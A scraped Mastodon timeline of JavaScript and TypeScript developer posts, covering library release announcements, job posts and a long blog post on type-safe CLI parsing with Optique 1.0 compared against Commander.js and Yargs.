  • context: true on Express/Hono/Koa/Elysia middleware handles request ID generation, x-request-id header propagation, and implicit context. One option instead of several moving parts.

  • Seven performance optimizations on the enabled-logging hot path

  • New logtape.org website

Full release notes: https://github.com/dahlia/logtape/discussions/179

github.com

LogTape 2.2.0: Lint rules, testing utilities, and request context · dahlia/logtape · Discussion #179

LogTape is a logging library for JavaScript and TypeScript that works across Deno, Node.js, Bun, and browsers. It's built around structured logging, has zero dependencies, and is designed to work a...

@hongminhee@hollo.social

2.2.0 is out!

The headline is two new packages:

@logtape/lint adds lint rules for ESLint v8/v9 (flat config), Oxlint, and Deno Lint that catch common logging mistakes before they reach production: template literal interpolation in message arguments, eager property evaluation where lazy is needed, unawaited async log callbacks, and missing meta sink configuration.

@logtape/testing gives you createLogRecorder() and domain-aware assertion helpers, replacing the hand-rolled array-sink boilerplate that every project ends up writing.

Other highlights:

  • context: true on Express/Hono/Koa/Elysia middleware handles request ID generation, x-request-id header propagation, and implicit context. One option instead of several moving parts.

  • Seven performance optimizations on the enabled-logging hot path

  • New logtape.org website

Full release notes: https://github.com/dahlia/logtape/discussions/179

github.com

LogTape 2.2.0: Lint rules, testing utilities, and request context · dahlia/logtape · Discussion #179

LogTape is a logging library for JavaScript and TypeScript that works across Deno, Node.js, Bun, and browsers. It's built around structured logging, has zero dependencies, and is designed to work a...

@hongminhee@hollo.social

2.2.0 is out!

The headline is two new packages:

@logtape/lint adds lint rules for ESLint v8/v9 (flat config), Oxlint, and Deno Lint that catch common logging mistakes before they reach production: template literal interpolation in message arguments, eager property evaluation where lazy is needed, unawaited async log callbacks, and missing meta sink configuration.

@logtape/testing gives you createLogRecorder() and domain-aware assertion helpers, replacing the hand-rolled array-sink boilerplate that every project ends up writing.

Other highlights:

  • context: true on Express/Hono/Koa/Elysia middleware handles request ID generation, x-request-id header propagation, and implicit context. One option instead of several moving parts.

  • Seven performance optimizations on the enabled-logging hot path

  • New logtape.org website

Full release notes: https://github.com/dahlia/logtape/discussions/179

github.com

LogTape 2.2.0: Lint rules, testing utilities, and request context · dahlia/logtape · Discussion #179

LogTape is a logging library for JavaScript and TypeScript that works across Deno, Node.js, Bun, and browsers. It's built around structured logging, has zero dependencies, and is designed to work a...

@hongminhee@hollo.social

2.2.0 is out!

The headline is two new packages:

@logtape/lint adds lint rules for ESLint v8/v9 (flat config), Oxlint, and Deno Lint that catch common logging mistakes before they reach production: template literal interpolation in message arguments, eager property evaluation where lazy is needed, unawaited async log callbacks, and missing meta sink configuration.

@logtape/testing gives you createLogRecorder() and domain-aware assertion helpers, replacing the hand-rolled array-sink boilerplate that every project ends up writing.

Other highlights:

  • context: true on Express/Hono/Koa/Elysia middleware handles request ID generation, x-request-id header propagation, and implicit context. One option instead of several moving parts.

  • Seven performance optimizations on the enabled-logging hot path

  • New logtape.org website

Full release notes: https://github.com/dahlia/logtape/discussions/179

github.com

LogTape 2.2.0: Lint rules, testing utilities, and request context · dahlia/logtape · Discussion #179

LogTape is a logging library for JavaScript and TypeScript that works across Deno, Node.js, Bun, and browsers. It's built around structured logging, has zero dependencies, and is designed to work a...

@frontenddogma@mas.to
@manlycoffee@techhub.social
@manlycoffee@techhub.social

I have finally released version 1.0 of hyperguard library that I have written 4 years ago, but has been sitting in version 0.1, 0.2, and finally 0.3 without any update since.

Version 1 improved the API, and some refactoring was made to remove the reliance of the `any` type.

Anyways, check it out. github.com/shovon/hyperguard

github.com

GitHub - shovon/hyperguard: Supercharge your TypeScript type guards with this dead simple object validation library

Supercharge your TypeScript type guards with this dead simple object validation library - shovon/hyperguard

@lobsters@mastodon.social
@lobsters@mastodon.social
@lobsters@mastodon.social
@stefan@stefanbohacek.online · Reply to Stefan Bohacek
@stefan@stefanbohacek.online

This is pretty neat. The music production software Ableton Live will let you create plugins with JavaScript

"Browse untested hacks, strange add-ons and experimental integrations – a starting point for your own ideas."

ableton.com/en/live/extensions

ableton.com

Extensions SDK

Extensions SDK is an open JavaScript toolkit allowing anyone to create custom tools that expand the possibilities inside Live 12 Suite

@Floppy@mastodon.me.uk

Anyone know how to get esbuild to copy WASM from an npm package into `outdir`?

github.com/Tschrock/esbuild-pl seems to work OK for your own WASM, but won't pull from node_modules.

(I don't understand the WASM toolchain really yet)

github.com

GitHub - Tschrock/esbuild-plugin-wasm: WASM module loader for esbuild

WASM module loader for esbuild. Contribute to Tschrock/esbuild-plugin-wasm development by creating an account on GitHub.

@agturcz@circumstances.run · Reply to Agnieszka R. Turczyńska

Ok, the truth is I need to postpone it for a bit. Apparently I need a crash course in the modern javascript.

Also, can someone enlighten me what's about those long $hexadecimal strings? Part of the code is full of it:

const $06bdd16cbb4a41b3$var$t = globalThis, $06bdd16cbb4a41b3$export$b4d10f6001c083c2 = $06bdd16cbb4a41b3$var$t.ShadowRoot && (void 0 === $06bdd16cbb4a41b3$var$t.ShadyCSS || $06bdd16cbb4a41b3$var$t.ShadyCSS.nativeShadow) && "adoptedStyleSheets" in Document.prototype && "replace" in CSSStyleSheet.prototype, $06bdd16cbb4a41b3$var$s = Symbol(), $06bdd16cbb4a41b3$var$o = new WeakMap;
class $06bdd16cbb4a41b3$export$505d1e8739bad805

@lobsters@mastodon.social
@lobsters@mastodon.social
@stefan@stefanbohacek.online

Okay, I finished a third or fourth rewrite of this basic intro to web APIs from a few years ago.

stefanbohacek.com/blog/weather

I might revisit some of the older tutorials as well. Yeah, I know, vibe coding is all the rage these days.

Still, someone might appreciate this.

stefanbohacek.com

Weather web app: web API tutorial | Stefan Bohacek's Personal Website and Blog

Making a weather web app with Flickr, OpenWeatherMap, and FreeGeoIP.app.

@testdouble@mastodon.social

Great UX shouldn't require a complete rewrite. Dave Mosher compares a React SPA vs HTMX for the same app.

HTMX delivers on what matters:
- Ship faster (one deployment vs two)
- Onboard developers faster (HTML + HTTP, done)
- Serve users better (works without JS)
- Keep it together (1 script vs dependency chaos)

Not about abandoning React—it's about choosing complexity only when it adds user value.

Compare the approaches:
link.testdouble.com/3a0881

@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@heisedeveloper@social.heise.de
@jnkrtech@treehouse.systems

Anthropic just merged their “rewrite in rust” PR to bun. -4k/+1M LoC, 6445 commits, apparently 100% done by LLMs.

I wonder whether the supposed speed benefits of bun will still hold up after this, and whether the current bug rate (like a dozen new GitHub issues per day) will get even worse.

@lobsters@mastodon.social

Fedify is an server framework in & . It aims to eliminate the complexity and redundant boilerplate code when building a federated server app, so that you can focus on your business logic and user experience.

The key features it provides currently are:

If you're curious, take a look at the website! There's comprehensive docs, a demo, a tutorial, example code, and more:

https://fedify.dev/

@Enalys@mastodon.zergy.net
A meme in two cases:
1/ “Unix program written 30 years ago” : An antic Roman paved road, still in good shape.
2/ “JS package written 30 months ago” : A modern asphalt road partially destroy du to lack of maintenance.
ALT text

A meme in two cases: 1/ “Unix program written 30 years ago” : An antic Roman paved road, still in good shape. 2/ “JS package written 30 months ago” : A modern asphalt road partially destroy du to lack of maintenance.

@toxi@mastodon.thi.ng

Triggered by a recent feature proposal[1], I went ahead and polished & published a closely related, already work-in-progress (but still private) feature in thi.ng/rdom to support something I call "bare lists"[2]. I've started working on this for another project last year, but needed to do more testing (which I think have sufficiently done by now).

These "bare" lists are managed reactive control components which attach items directly to the list's parent DOM element instead of first creating a wrapper/container element for the items and so avoid introducing additional nesting.

There're many use cases where this additional nesting was a real problem with the earlier approach, e.g. in containers with CSS grid or flex layout, tables, or generally situations where we want to have static & reactive list items as true siblings...

The new version of thi.ng/rdom is technically a breaking change (sorry!), but the actual changes required (for you) are tiny and purely limited to the $list() and $klist() component function calls, which are now accepting a parameter object instead of positional args for the different possible behaviors. Of course, lists with item wrapper elements can still be created too, just as before (but via new args).

I've updated & tested all existing examples impacted by this change and also created a new fully commented example project (example #187) to illustrate these "bare" lists in situ (check the DOM inspector to see the shallow structure and how updates are applied):

Demo:
demo.thi.ng/umbrella/rdom-bare

Source code:
codeberg.org/thi.ng/umbrella/s

[1] github.com/thi-ng/umbrella/discussions/562
[2] My use of "list" here is generic, not limited to <ul> or <ol>...

Screenshot of the linked example project, showing a grid of red & blue boxes with randomly chosen name. Further below is a table of the same items.
ALT text

Screenshot of the linked example project, showing a grid of red & blue boxes with randomly chosen name. Further below is a table of the same items.

@Enalys@mastodon.zergy.net
A meme in two cases:
1/ “Unix program written 30 years ago” : An antic Roman paved road, still in good shape.
2/ “JS package written 30 months ago” : A modern asphalt road partially destroy du to lack of maintenance.
ALT text

A meme in two cases: 1/ “Unix program written 30 years ago” : An antic Roman paved road, still in good shape. 2/ “JS package written 30 months ago” : A modern asphalt road partially destroy du to lack of maintenance.

@jobsfordevelopers@mastodon.world
@pcdevil@mastodon.social

👋 Hi, I'm looking for work!

🚀 I am...
- a detail oriented senior engineer with 15 years of experience
- proficient with & , , , TDD
- experienced with , Ember.js, GCP, Terraform

🔎 I'm looking for:
- a collaborative environment between eng + product & design teams
- a based (onsite) or a Germany / EU-based (remote) company
- ability to learn and grow

🚫 no crypto, big oil, gambling, gen-ai, web3

🙇 boost appreciated!

@Meyerweb@mastodon.social

📰 New bloggery about how I used the brand-new still-in-testing HTML-in-canvas API to do something practical for work, the pitfalls I found along the way, and whether I think it’s going to catch on. The post is a bit on the longer side but has code samples and pictures to look at, so there’s that. meyerweb.com/eric/thoughts/202

meyerweb.com

Canvas-ing the Web

A practical use case for rendering HTML+CSS to a canvas, an emerging API being previewed in Chrome.

@Meyerweb@mastodon.social

📰 New bloggery about how I used the brand-new still-in-testing HTML-in-canvas API to do something practical for work, the pitfalls I found along the way, and whether I think it’s going to catch on. The post is a bit on the longer side but has code samples and pictures to look at, so there’s that. meyerweb.com/eric/thoughts/202

meyerweb.com

Canvas-ing the Web

A practical use case for rendering HTML+CSS to a canvas, an emerging API being previewed in Chrome.

@jobsfordevelopers@mastodon.world
@jobsfordevelopers@mastodon.world
@jobsfordevelopers@mastodon.world
@jobsfordevelopers@mastodon.world
@jobsfordevelopers@mastodon.world
@vanillaweb@intuitivefuture.com

Let’s say you have an element (like <form>) which has been instantiated as an object in your DOM.

At that exact moment, you want to enhance the form by adding new behavior via .

How does a wad of code get spun up in a 1:1 relationship with the element to be enhanced?

Herein is explained a "bad" way, and two good vanilla ways this can be accomplished:

thathtml.blog/2026/04/two-para

thathtml.blog

Two Paradigms for Enhancing HTML Tags

Adding new functionality to DOM elements by extending the markup you already have.

@vanillaweb@intuitivefuture.com

Let’s say you have an element (like <form>) which has been instantiated as an object in your DOM.

At that exact moment, you want to enhance the form by adding new behavior via .

How does a wad of code get spun up in a 1:1 relationship with the element to be enhanced?

Herein is explained a "bad" way, and two good vanilla ways this can be accomplished:

thathtml.blog/2026/04/two-para

thathtml.blog

Two Paradigms for Enhancing HTML Tags

Adding new functionality to DOM elements by extending the markup you already have.

@lobsters@mastodon.social
@toxi@mastodon.thi.ng

🚀 — Just pushed the new version of thi.ng/hiccup-carbon-icons (now a much larger collection of 2200+ icons, mentioned yesterday[1]) and some other smaller updates/additions to other packages...

This is the last release before switching all packages to the recently released TypeScript 6.0, support for which will likely require some restructuring & refactoring and hopefully will be less painful than it might look so far (I'm also waiting for some dependencies to update their TS type definitions, which are currently breaking, e.g. github.com/serialport/node-ser, used for thi.ng/axidraw)

I also added some new async operators for thi.ng/transducers-async to simplify some stream processing tasks (e.g. collecting and/or consuming stdout/stderr of a child process by rechunking the stream for line-based processing), for example:

```
import { rechunk } from "@thi.ng/transducers-async";
import { spawn } from "child_process";

// launch child process
const child = spawn("ls", ["-l"]);

// split child's stdout into single lines
for await(let line of rechunk(/\r?\n/g, child.stdout)) {
console.log("output", line);
}
```

[1] mastodon.thi.ng/@toxi/11642201

mastodon.thi.ng

Karsten Schmidt (@toxi@mastodon.thi.ng)

Attached: 1 image It's been 4.5 years since I last updated the https://thi.ng/hiccup-carbon-icons collection and synced it with the upstream repo, i.e. IBM's Carbon design system. Spent a few hours today updating the icons to the current version, filtering out a hundred unnecessary ones (e.g. obsolete brand logos, IBM product/service related icons etc.) and updated the converter & code generator[1] to produce more concise outputs, then manually cleaned up the structure for dozens of them (in addition to optimizing/minimizing the SVG sources via the `svgo` CLI). The new set has exactly 2222 icons in https://thi.ng/hiccup format (SVG expressed as nested JS arrays). These icons can be used in any context where https://thi.ng/hiccup format is supported, i.e. both for static HTML/SVG generation and/or interactive scenarios. A contact sheet of the full collection (the attached image only shows a tiny selection of this): https://demo.thi.ng/umbrella/hiccup-carbon-icons/ For tree-shaking purposes each icon is defined in its own source file, e.g. the Mastodon logo can be then imported like so: `import { MASTODON } from "@thi.ng/hiccup-carbon-icons"` Example icon definition: https://codeberg.org/thi.ng/umbrella/src/branch/develop/packages/hiccup-carbon-icons/src/logo-mastodon.ts The new version is still unreleased, but the readme already contains up-to-date information and small usage examples (incl. links to live example projects to see usage in situ). [1] Converter/codegen tool: https://codeberg.org/thi.ng/umbrella/src/branch/develop/packages/hiccup-carbon-icons/tools/convert-icons.ts #ThingUmbrella #UI #Design #SVG #Icons #OpenSource

Commander.jsの.conflicts()や.implies()は、排他的な組み合わせをランタイムではちゃんと検出してくれます。

でも.opts()の型は賢くならず、戻り値は結局string | undefinedのままです。どのオプションが同時に使えないのかを、TypeScriptは知りません。

このズレをパーサーコンビネータでどう型に落とし込めるか、Yargsとの比較も含めて書きました。後半では、環境変数・設定ファイル・対話プロンプトまで同じ型保証を広げる話もしています。

https://zenn.dev/hongminhee/articles/6ba2a6247ec0c4

zenn.dev

Commander.jsの.conflicts()が型に反映されない問題をパーサーコンビネータで解決する——Optique 1.0

Commander.jsの.conflicts()や.implies()は、排他的な組み合わせをランタイムではちゃんと検出してくれます。

でも.opts()の型は賢くならず、戻り値は結局string | undefinedのままです。どのオプションが同時に使えないのかを、TypeScriptは知りません。

このズレをパーサーコンビネータでどう型に落とし込めるか、Yargsとの比較も含めて書きました。後半では、環境変数・設定ファイル・対話プロンプトまで同じ型保証を広げる話もしています。

https://zenn.dev/hongminhee/articles/6ba2a6247ec0c4

zenn.dev

Commander.jsの.conflicts()が型に反映されない問題をパーサーコンビネータで解決する——Optique 1.0

@lobsters@mastodon.social

From five optional fields to a discriminated union: CLI parsing with Optique 1.0 by @hongminhee lobste.rs/s/kvf7u1
hackers.pub/@hongminhee/2026/o

hackers.pub

From five optional fields to a discriminated union: CLI parsing with Optique 1.0

Traditional CLI libraries like Commander.js and Yargs often suffer from a gap between runtime validation and TypeScript type safety, where mutually exclusive options are typed as flat collections of optional fields. This disconnect forces developers to rely on manual type narrowing or risky non-null assertions, even when the underlying validator knows exactly which inputs are incompatible. Optique 1.0 addresses this by utilizing parser combinators to generate precise discriminated unions that reflect the true structure of the command-line interface. By modeling options as structural components rather than independent flags, the library ensures the compiler accurately represents available fields, effectively eliminating the need for boilerplate validation logic. The 1.0 release expands this philosophy to include environment variables, configuration files, and interactive prompts, treating all input sources as a single unified problem. It enforces consistent validation across every layer, ensuring that constraints defined for the CLI are never bypassed by values arriving from the environment or filesystem. This approach is essential for building robust, type-safe command-line tools that remain maintainable as their complexity and configuration sources grow.

@lobsters@mastodon.social

From five optional fields to a discriminated union: CLI parsing with Optique 1.0 by @hongminhee lobste.rs/s/kvf7u1
hackers.pub/@hongminhee/2026/o

hackers.pub

From five optional fields to a discriminated union: CLI parsing with Optique 1.0

Traditional CLI libraries like Commander.js and Yargs often suffer from a gap between runtime validation and TypeScript type safety, where mutually exclusive options are typed as flat collections of optional fields. This disconnect forces developers to rely on manual type narrowing or risky non-null assertions, even when the underlying validator knows exactly which inputs are incompatible. Optique 1.0 addresses this by utilizing parser combinators to generate precise discriminated unions that reflect the true structure of the command-line interface. By modeling options as structural components rather than independent flags, the library ensures the compiler accurately represents available fields, effectively eliminating the need for boilerplate validation logic. The 1.0 release expands this philosophy to include environment variables, configuration files, and interactive prompts, treating all input sources as a single unified problem. It enforces consistent validation across every layer, ensuring that constraints defined for the CLI are never bypassed by values arriving from the environment or filesystem. This approach is essential for building robust, type-safe command-line tools that remain maintainable as their complexity and configuration sources grow.

@hongminhee@hollo.social

I wrote about a problem that's been bugging me with .js and : .conflicts() and .implies() enforce constraints at runtime, but the type you get back is still a flat object with every field optional. The compiler has no idea which options belong together.

The post walks through what happens when you express the same constraints in the parser structure instead, and how turns that into a discriminated union where each branch carries only its own fields.

Second half covers a less obvious question: what happens when values come from env vars, config files, or prompts instead of argv, and whether the constraints should still hold across all of them.

https://hackers.pub/@hongminhee/2026/optique-10-discriminated-unions-for-cli

hackers.pub

From five optional fields to a discriminated union: CLI parsing with Optique 1.0

Traditional CLI libraries like Commander.js and Yargs often suffer from a gap between runtime validation and TypeScript type safety, where mutually exclusive options are typed as flat collections of optional fields. This disconnect forces developers to rely on manual type narrowing or risky non-null assertions, even when the underlying validator knows exactly which inputs are incompatible. Optique 1.0 addresses this by utilizing parser combinators to generate precise discriminated unions that reflect the true structure of the command-line interface. By modeling options as structural components rather than independent flags, the library ensures the compiler accurately represents available fields, effectively eliminating the need for boilerplate validation logic. The 1.0 release expands this philosophy to include environment variables, configuration files, and interactive prompts, treating all input sources as a single unified problem. It enforces consistent validation across every layer, ensuring that constraints defined for the CLI are never bypassed by values arriving from the environment or filesystem. This approach is essential for building robust, type-safe command-line tools that remain maintainable as their complexity and configuration sources grow.

@hongminhee@hackers.pub

You've probably written something like this in Commander.js.

import { Command, Option } from "@commander-js/extra-typings";

const program = new Command()
  .addOption(
    new Option("--token <token>", "API token").conflicts([
      "username", "password", "oauthClientId", "oauthClientSecret",
    ]),
  )
  .addOption(
    new Option("--username <username>", "Basic auth username").conflicts([
      "token", "oauthClientId", "oauthClientSecret",
    ]),
  )
  .addOption(
    new Option("--password <password>", "Basic auth password").conflicts([
      "token", "oauthClientId", "oauthClientSecret",
    ]),
  )
  .addOption(
    new Option("--oauth-client-id <id>", "OAuth client id").conflicts([
      "token", "username", "password",
    ]),
  )
  .addOption(
    new Option("--oauth-client-secret <secret>", "OAuth client secret")
      .conflicts(["token", "username", "password"]),
  );

program.parse();
const options = program.opts();

It compiles. It runs. Commander.js rejects --token abc --username alice with the conflict error you'd expect.

Look at what TypeScript thinks options is, though.

{
  token?: string | undefined;
  username?: string | undefined;
  password?: string | undefined;
  oauthClientId?: string | undefined;
  oauthClientSecret?: string | undefined;
}

Five independent optional fields. Nothing in that type says token, basic auth, and OAuth are three separate worlds. The .conflicts() chains are runtime instructions to a validator. They never touch the type. When your code reaches in and uses options, you still have to narrow by hand. Is token set? If not, can I assume username and password are both there? If you get that branching wrong, the compiler has nothing to say about it.

if (options.token != null) {
  useBasicAuth(options.username!);
}

The gap between the validator knows and the type knows is what pushed me to start building Optique. It was originally a side project for a CLI I was writing, and it's grown into something people use in earnest. A few days ago I tagged 1.0.0. The part that matters most to me is that the same parser structure now covers environment variables, config files, and prompts instead of stopping at argv.

I'll assume you've used Commander.js or Yargs before. I don't want to pretend they're bad; they're mature tools with real users. My goal is to show where they stop, and what's on the other side of that line.

Runtime checks aren't type-level knowledge

The obvious first objection to everything I just said is that Commander.js's .conflicts() isn't new. It's been there for years. Yargs has it too, along with .implies() on both sides. You can declare that --token conflicts with --username, and Yargs will even let you declare that --username implies --password so the two are required together. These aren't missing features.

On current versions, Commander.js 14 with @commander-js/extra-typings 14 handles the simple case correctly. Passing --token abc --username alice produces option '--token <token>' cannot be used with option '--username <username>', which is exactly the message the user needs.

Commander.js doesn't give you a type that reflects any of this, though. The Option.conflicts() method in extra-typings returns the Option instance unchanged. There's no generic parameter threading through the chain, accumulating which options are mutually exclusive with which others. So .opts() comes back as five optional fields, and if you write the snippet above, nothing stops you. The non-null assertion will be there in production, waiting for the input where the runtime let both through because they're actually compatible, or for the refactor that moves this code somewhere the invariant no longer holds.

Commander.js also has no way to mark a group of options as required together. If you pass --username alice and forget --password, Commander.js runs happily; the user gets a half-configured basic auth at best. .implies() exists, but it's about setting values (“if --free-drink is passed, set --drink to small“), not about requiring co-occurrence.

Yargs is stranger. It has .conflicts() and .implies(), and .implies() does enforce co-occurrence: --username without --password fails at runtime. But the interaction between the two gets confusing fast. I tried --token abc --username alice with both wired up. What Yargs told the user was:

Missing dependent arguments:
 username -> password

That's the .implies() talking. Yargs checks implies before conflicts, so the real issue (token and username are mutually exclusive) stays buried behind an unrelated complaint about a password the user never mentioned. If you add --password too, then you finally get the mutually-exclusive error. For the user on the receiving end, this is the kind of message that makes them file a bug against you.

The Yargs result type is worth seeing as well:

{
  [x: string]: unknown;
  oauthClientId: string | undefined;
  "oauth-client-id": string | undefined;
  // …the other options, each of them in both kebab- and camel-cased forms
}

The index signature [x: string]: unknown means any typo on a property access silently becomes unknown. I tried parsed.tokenn and TypeScript accepted it; the value came back undefined at runtime. Each option also shows up under both kebab-case and camelCase keys. None of this has anything to do with the exclusivity constraints I declared. It's just what happens when parser output is typed as a loose dictionary.

This is less about missing features than about where the features stop. Once you cross into the return type of .opts() or .parseSync(), the constraints are gone. The compiler sees whatever shape the signature promised, and that shape doesn't know what you declared.

Types that know which branch you picked

Here's the same CLI in Optique.

import { object, or } from "@optique/core/constructs";
import { constant, option } from "@optique/core/primitives";
import { string } from "@optique/core/valueparser";
import { run } from "@optique/run";

const parser = or(
  object({
    auth: constant("token" as const), 
    token: option("--token", string({ metavar: "TOKEN" })),
  }),
  object({
    auth: constant("basic" as const), 
    username: option("--username", string({ metavar: "USER" })),
    password: option("--password", string({ metavar: "PASS" })),
  }),
  object({
    auth: constant("oauth" as const), 
    clientId: option("--oauth-client-id", string({ metavar: "ID" })),
    clientSecret: option("--oauth-client-secret", string({ metavar: "SECRET" })),
  }),
);

const parsed = run(parser);

The shape of the code is different. Instead of declaring each option in isolation and then chaining constraints between them, you describe three complete parsers, one per auth method, and pass them to or(). Each branch is an object() that lists the options belonging to that branch. The constant() calls are discriminators; they don't consume input, they just tag the result.

The type parsed gets is:

  | { readonly auth: "token"; readonly token: string }
  | { readonly auth: "basic"; readonly username: string; readonly password: string }
  | { readonly auth: "oauth"; readonly clientId: string; readonly clientSecret: string }

That's a discriminated union. When you consume the parsed value, TypeScript knows which fields are available based on auth:

switch (parsed.auth) {
  case "token":
    await callApiWithToken(parsed.token);
    break;
  case "basic":
    await callApiWithBasic(parsed.username, parsed.password);
    break;
  case "oauth":
    await callApiWithOauth(parsed.clientId, parsed.clientSecret);
    break;
}

Inside the "token" case, parsed.username is a type error. Inside "basic", parsed.token is a type error. Every field inside its branch is plain string, not string | undefined, so no non-null assertions are asked for. If you add a fourth auth method next year and forget to update the switch, the compiler complains.

The runtime errors follow the parser shape too. A token-plus-username mix fails as a conflict: "--token" "abc" and "--username" "alice" cannot be used together. A basic-auth branch without its password fails as missing input: Missing option --password. No check-ordering coincidences.

I want to be clear that this idea isn't mine. Parser combinators have been a standard technique in functional programming for decades, and Haskell's optparse-applicative has been applying them to CLI parsing since 2012. TypeScript's conditional types and discriminated union inference happen to be strong enough that this style of API doesn't ask you to write types by hand. You compose parsers, and the types work out.

I started on Optique while trying to express this kind of structure in Fedify's CLI. The closest tool for the shape of problem I had was Cliffy, but it didn't fit[1]. Commander.js and Yargs couldn't express it the way I wanted either. So here we are.

CLI arguments are one place values come from; there are others

So far this example is unrealistically argv-only. Real CLIs pull some values from environment variables (GITHUB_TOKEN, DATABASE_URL, AWS_REGION), some from config files because nobody wants to retype seventeen flags on every invocation, and some from interactive prompts because secrets shouldn't sit in shell history.

On Commander.js or Yargs, each of those sources is usually a separate mechanism. Commander.js has .env() on options, which is fine for that one dimension. Config files get a separate library, or a hand-rolled loader at the top of main(). Interactive prompts are Inquirer.js, wired in somewhere. Each has its own validation path, and reconciling precedence between them is your problem.

In 1.0, Optique treats these four sources as one problem.

One parser, four sources

Take the auth example again, but think about where each value really comes from in practice. API tokens come from environment variables; nobody types GITHUB_TOKEN on the command line. Passwords should be prompted, not left in shell history. OAuth client credentials get saved to a config file because they're project-scoped and you want them versioned (the client secret less so, but let's keep the example simple).

Here's how you'd wire that up in Optique 1.0.

import { object, or } from "@optique/core/constructs";
import { constant, option } from "@optique/core/primitives";
import { string } from "@optique/core/valueparser";
import { bindEnv, createEnvContext } from "@optique/env";
import { bindConfig, createConfigContext } from "@optique/config";
import { prompt } from "@optique/inquirer";
import { runAsync } from "@optique/run";
import { z } from "zod";

const envCtx = createEnvContext({ prefix: "MYAPP_" });
const cfgCtx = createConfigContext({
  schema: z.object({
    oauth: z.object({
      clientId: z.string().optional(),
      clientSecret: z.string().optional(),
    }).optional(),
  }),
});

const parser = or(
  object({
    auth: constant("token" as const),
    token: bindEnv( 
      option("--token", string()),
      { context: envCtx, key: "TOKEN", parser: string() },
    ),
  }),
  object({
    auth: constant("basic" as const),
    username: option("--username", string()),
    password: prompt( 
      option("--password", string()),
      { type: "password", message: "Password:", mask: true },
    ),
  }),
  object({
    auth: constant("oauth" as const),
    clientId: bindConfig( 
      option("--oauth-client-id", string()),
      { context: cfgCtx, key: (c) => c?.oauth?.clientId },
    ),
    clientSecret: bindConfig( 
      option("--oauth-client-secret", string()),
      { context: cfgCtx, key: (c) => c?.oauth?.clientSecret },
    ),
  }),
);

const parsed = await runAsync(parser, { contexts: [envCtx, cfgCtx] });

The parser structure hasn't changed. It's still three branches, each an object() of required fields. What changed is that each field is now wrapped with one or more of bindEnv(), bindConfig(), and prompt(). These wrappers don't alter what a field means; they describe where to look for its value if argv didn't supply one.

Resolution order follows wrapper nesting from the inside out. Whatever the user put on the command line wins, then the environment variable, then the config file, then the prompt. If the user gave --token explicitly, MYAPP_TOKEN is ignored for this run. If they didn't but it's set in the environment, the prompt never fires. You can stack all four on a single option if you want; a common pattern is prompt(bindEnv(bindConfig(option(…), …), …), …), which gives you CLI then env then config then prompt on one value.

The inferred type is unchanged from the pure-argv version above. The branches are still discriminated by auth. Every field in the selected branch is still string, not string | undefined. The type system has no idea that some of these values took a detour through the filesystem or a TTY before they got to you.

A small related feature is fail<T>(). Sometimes a value shouldn't be exposed as a CLI flag at all; maybe it's a secret that should only come from config or env. bindConfig(fail<string>(), { … }) expresses that. The parser has no CLI surface for the field, but it still participates in the type, and it still feeds the config value into the result.

The “express constraints through structure” idea earns its keep here. Teams who've wanted this combination on Commander.js or Yargs have historically had to stitch it together: .env() here, a config loader there, an Inquirer.js block inside the action handler, then a pile of if-statements reconciling what to believe when two sources disagree. The reconciliation code is where the bugs live. bindEnv(bindConfig(…)) is that reconciliation, but written once and tested once instead of re-implemented per CLI.

Constraints that don't leak

There's a subtler problem that I didn't fully appreciate until late in the 0.x cycle. Consider this:

option("--port", integer({ min: 1024, max: 65535 }))

At the CLI, the parser rejects --port 80. Good. Now wrap it in bindEnv():

bindEnv(
  option("--port", integer({ min: 1024, max: 65535 })),
  { context: envCtx, key: "PORT", parser: integer() },
)

In 0.x, if the user left --port off and set PORT=80 in the environment, the value 80 would flow through untouched. The env-level parser here is integer() without bounds, so it accepted. The CLI-level parser's constraints never ran on values that didn't arrive via argv. Config files had the same hole: a constraint written into the CLI option could be silently bypassed by a different source.

This isn't the sort of bug that shows up in the tests you'd normally write. It shows up when somebody sets an environment variable in production and a value that should've been rejected sails through to the rest of the application.

1.0 adds a Parser.validateValue() method that fallback paths use. Environment values, config values, and defaults are now re-validated against the CLI parser's constraints on their way in. The rule is consistent: if a value wouldn't be accepted from argv, it's not accepted from anywhere else either.

I'd always described Optique as a “parse, don't validate” library. The phrase is shorthand for an approach where you don't run a separate validation pass after parsing; the parser itself rejects invalid input up front. 0.x mostly delivered on that for argv. 1.0 extends it to every source a value can enter from.

When Optique isn't the right choice

If your CLI has four flags and no subcommands, use Commander.js. You'll be done faster, your bundle will be smaller, and whoever reviews the PR won't have to learn a new mental model. Optique pays off once you have nontrivial structure: mutually exclusive groups, co-required options, values that arrive from multiple sources, subcommands with per-subcommand option sets. Below that complexity bar, its abstractions are overhead you're paying for no return.

If you have a large Commander.js codebase that works, don't port it. The path from imperative configuration to parser combinators isn't a three-hour rewrite, and the bug you introduce during the rewrite is rarely worth the cleaner types afterward. I'd reach for Optique on a new CLI, or on a new subcommand being added to an existing app, not on a retroactive migration.

If you need a specific Commander.js or Yargs plugin that does something exotic, Optique's ecosystem is smaller. I expect that to change. I shouldn't pretend it isn't smaller today.

There's a more uncomfortable question too. If your CLI is complex enough to benefit from Optique, maybe the CLI itself has too many knobs. Optique helps you build a TV remote where every button is correctly wired and no two conflict, but it doesn't ask whether the remote should have that many buttons in the first place. If you find yourself reaching for deeply nested or() trees, consider simplifying the interface before modeling it more precisely.

I think about this sometimes. Some interfaces genuinely need cockpit-level density: database admin tools, deployment pipelines, build systems. Optique is at its best when the complexity is real. When it's accumulated through feature creep, no parser library will save you.

1.0 means I can stop adding footnotes

Through most of 0.x, recommending Optique to anyone required footnotes. The env package isn't stable yet. The prompt API might change. runWithConfig is on the way out, use X for now. This constraint doesn't carry across env boundaries, so double-check. The library worked, but the surface I was asking people to commit to was moving.

That's what 1.0 changes for me. I can send someone the docs link without a page of caveats first.

Documentation is at optique.dev. The 1.0 announcement and changelog are on GitHub. Issues and discussions are the place to tell me where the sharp edges still are.


  1. Two reasons. Cliffy is Deno-only, which rules it out for a CLI that needs to ship on Node.js and Bun. And even in Deno, Cliffy's API is declarative in roughly the same way as Yargs: options and constraints are declared against a runtime validator, not composed into types. The limits we've just been walking through on Commander.js and Yargs show up in Cliffy too, in a different dialect. ↩︎

@jobsfordevelopers@mastodon.world
@toxi@mastodon.thi.ng

Added, updated & simplified the growing collection of darkroom-related calculators and super happy how elegant and concise the code has turned out, making it super easy to add more of them in the future.

